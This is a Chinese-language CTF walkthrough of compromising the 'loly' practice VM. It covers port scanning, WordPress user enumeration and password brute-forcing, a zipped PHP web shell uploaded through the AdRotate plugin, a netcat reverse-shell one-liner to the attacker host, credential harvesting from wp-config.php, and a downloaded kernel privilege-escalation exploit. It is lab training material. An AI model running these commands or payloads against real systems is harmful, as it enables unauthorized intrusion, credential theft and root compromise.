前言
- 挑戰攻克該靶機30分鐘
靶機:loly
靶機,IP地址為192.168.10.11
攻擊:kali
,IP地址為192.168.10.6
靶機和攻擊機都采用VMware
虛擬機,都采用橋接網卡模式
文章涉及的靶機及工具,都可以自行訪問官網或者項目地址進行獲取,或者通過網盤鏈接下載
https://pan.quark.cn/s/a795145e3869
主機發現
也就是相當于現實環境中去發現確定主機的ip
地址,因為這里是靶機環境,所以跳過了從域名到ip
地址的過程。
使用arp-scan -l
或者netdiscovery -r 192.168.10.1/24
當然也可以使用nmap
等工具進行
arp-scan -l
信息收集
使用nmap掃描目標端口等信息
首先掃描目標的tcp
端口的開放情況
nmap -sT --min-rate=1000 192.168.10.11 -p- -oA nmap-tcp
再掃描udp
端口的開放情況
nmap -sU --min-rate=1000 192.168.10.11 --top-ports 20 -oA nmap-udp
可以看到明確開放的udp
端口沒有,所以下面對tcp
端口進行一個篩選,這里因為22
端口并不是明確closed
的,是filtered
的,所以也要包括在內
ports=`grep /tcp nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','`
進一步對這些端口進行服務、系統等探測
nmap -sV -O -sC 192.168.10.11 -p $ports --min-rate=1000
再使用nmap
的漏洞檢測腳本對這些端口進行探測
nmap --script=vuln 192.168.10.11 -p $ports
枚舉出的目錄,可能是wordpress
的CMS
網站信息探測
訪問80端口的界面,是nginx
安裝后的默認界面,頁面源代碼沒有信息泄露
使用whatweb
或者瀏覽器插件wappalyzer
進行查看相關配置
whatweb http://192.168.10.11 -v
使用gobuster
等目錄爆破工具進行測試
gobuster dir -u http://192.168.10.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -b 404 -x php,html,txt,md,zip
訪問wordpress
,可以看到,很是雜亂,這個不用說了吧,一般可能都需要綁定域名了
隨便點擊一個鏈接,可以發現指向的域名loly.lc
,或者自己去查看頁面源代碼
綁定域名,采用靜態文件hosts
,計算機會優先去查看這個文件中的解析對應。
在linux
系統中,文件在/etc/hosts
,windows
系統,文件在C:\Windows\System32\Drivers\etc\hosts
這里使用的是kali
,所以修改/etc/hosts
文件
再次訪問,可以發現,解析成功
wordpress探測
使用whatweb
進一步探測,發現wordpress
的版本信息
whatweb http://192.168.10.11/wordpress -v
那么下一步,使用針對wordpress
的工具wpscan
wpscan --url http://192.168.10.11/wordpress -e u
枚舉出用戶,進一步進行密碼破解
wpscan --url http://192.168.10.11/wordpress -U loly -P /usr/share/wordlists/rockyou.txt
用戶名loly
和密碼fernando
文件上傳
在登錄后,經過多方測試,最終在插件AdRotate
中,找到一個文件上傳的測試點,并且在尋找的時候,也發現在相關設置中有文件上傳后的地址,很清晰了,只是文件上傳的種種需要多方測試
首先就是簡單的測試:
- 直接上傳
php
,不行 - 修改后綴名再上傳,不行。
- 后綴名出以
shell.php.jpg
,生成圖片馬。不行 - 雙寫
php
以及大小寫php
,不行 - 更改
mime
類型,不行 - 以圖片的形式上傳,不解析為
php
- 無法上傳
.htaccess
文件,無法修改解析
根據上面,測試其他的幾種,也就是js,html,zip
html
類型,不解析為php
,所以不行js
類型,顯示源代碼,也不解析,不行- 以
zip
壓縮后的文件,可以,并成功解析
只是上傳為zip
文件,訪問的時候以php
訪問。如
info.php.zip
,訪問的時候為info.php
這里注意一點,采用linxu
中的zip
壓縮工具,不要使用windows
壓縮,不一樣
echo "<?php phpinfo();?>" > info.phpzip -r -o info.php.zip info.php
我也測試過,把壓縮包的數據進行抓包然后截取,但是不行。所以我放棄使用windows
上傳這個腳本了
那么編寫一個代碼,以可以命令執行
echo '<?php system($_GET["loly"]);?>' > shell.php
zip -r -o shell.php.zip shell.php
上傳后,訪問即可,構造shell.php?loly=ls
,即可發現
構造反彈shell
代碼,首先在kali
開啟監聽,然后再使用下面代碼
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.10.6 9999 >/tmp/f
#進行url編碼
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Cbash%20-i%202%3E%261%7Cnc%20192.168.10.6%209999%20%3E%2Ftmp%2Ff
靶機內信息收集
既然有wordpress
,那么就一定要看看其配置文件wp-config.php
獲取用戶名wordpress
和密碼lolyisabeautifulgirl
查看網絡狀態
ss -antulp
發現3306
開放,可能就是mysql
,以前面的登錄測試,登錄之前,先測試安裝什么版本的python
dpkg -l | grep python
#加一層shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
數據庫中只有一個用戶名和密碼,與前面枚舉出的一樣
繼續探測信息,首先知道兩個密碼。fernando
和lolyisabeautifulgirl
查看當前系統用戶,發現只有loly
一個
使用find
尋找具有SUID權限的文件,發現sudo
和su
find / -perm -4000 -print 2>/dev/null
sudo -l
測試,需要密碼
嘗試使用兩個密碼,測試loly
,是否存在多用的情況
成功了,以lolyisabeautifulgirl
登錄
再次使用sudo -l
,沒有文件給loly
使用。
收集內核版本等信息
uname -a
uname -r
cat /etc/issue
cat /etc/*release
lsb_release
當然,后面其實還有腳本上傳進行檢測,不過因為這里搜索到合適的提權腳本,并且可以使用,所以不上傳腳本了
提權
使用gcc -v
確定靶機安裝了gcc
使用searchsploit
搜索到可利用的漏洞
searchsploit 4.4.0-31 ubuntu Privilege
根據內核版本和系統信息,這些都是可以測試的,先測試第二個45010.c
#把腳本下載到當前目錄下
searchsploit -m 45010.c
然后查看腳本
在kali
使用python
開啟監聽,然后靶機使用wget
下載即可
#kali執行
python3 -m http.server 1234#靶機執行
wget http://192.168.10.6:1234/45010.c
這里在loly
的主目錄,因為他有一個腳本,可能會定期清理/tmp
目錄,我也不想再更改腳本,省時間
靶機執行腳本中編譯和執行即可
gcc 45010.c -o exp
chmod +x exp
./exp
對應其他的腳本能否提權,自己去試試,一定要動手測試,積累經驗
總結
該靶機的考察主要就是從web到內網
- 網站主流CMS的識別
wpscan
的使用,當然爆破也可以使用其他工具,如burp
等,不過這個工具是專門針對wordpress
,所以,建議使用- 文件上傳如何繞過檢測,這里應該是利用對于壓縮包的一個解析漏洞,導致執行了
php
代碼 wordpress
的配置文件要清楚- 靶機內的信息收集,內核等信息